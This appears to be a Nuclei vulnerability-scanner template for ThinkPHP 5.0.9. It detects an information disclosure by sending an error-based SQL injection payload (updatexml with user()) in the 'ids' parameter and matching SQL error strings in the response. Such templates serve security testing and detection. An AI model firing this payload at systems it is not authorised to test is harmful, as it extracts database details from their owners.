nuclei-templates/http/vulnerabilities/thinkphp/thinkphp-509-information-di...

32 lines
964 B
YAML

id: thinkphp-509-information-disclosure
info:
name: ThinkPHP 5.0.9 - Information Disclosure
author: dr_set
severity: critical
description: ThinkPHP 5.0.9 includes verbose SQL error message that can reveal sensitive information including database credentials.
reference:
- https://github.com/vulhub/vulhub/tree/0a0bc719f9a9ad5b27854e92bc4dfa17deea25b4/thinkphp/in-sqlinjection
metadata:
max-request: 1
tags: thinkphp,vulhub,sqli
http:
- method: GET
path:
- "{{BaseURL}}/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1"
matchers-condition: and
matchers:
- type: word
words:
- "SQLSTATE"
- "XPATH syntax error"
condition: and
- type: status
status:
- 500
# digest: 4a0a00473045022065935f0ee544a4625eeed1957f487083dacd916e02d27652165913013e7ac732022100837435c4dc8aa0f249adfd52a30a3c1255602acbde9813212b6148b49f14b8a0:922c64590222798bb761d5b6d8e72950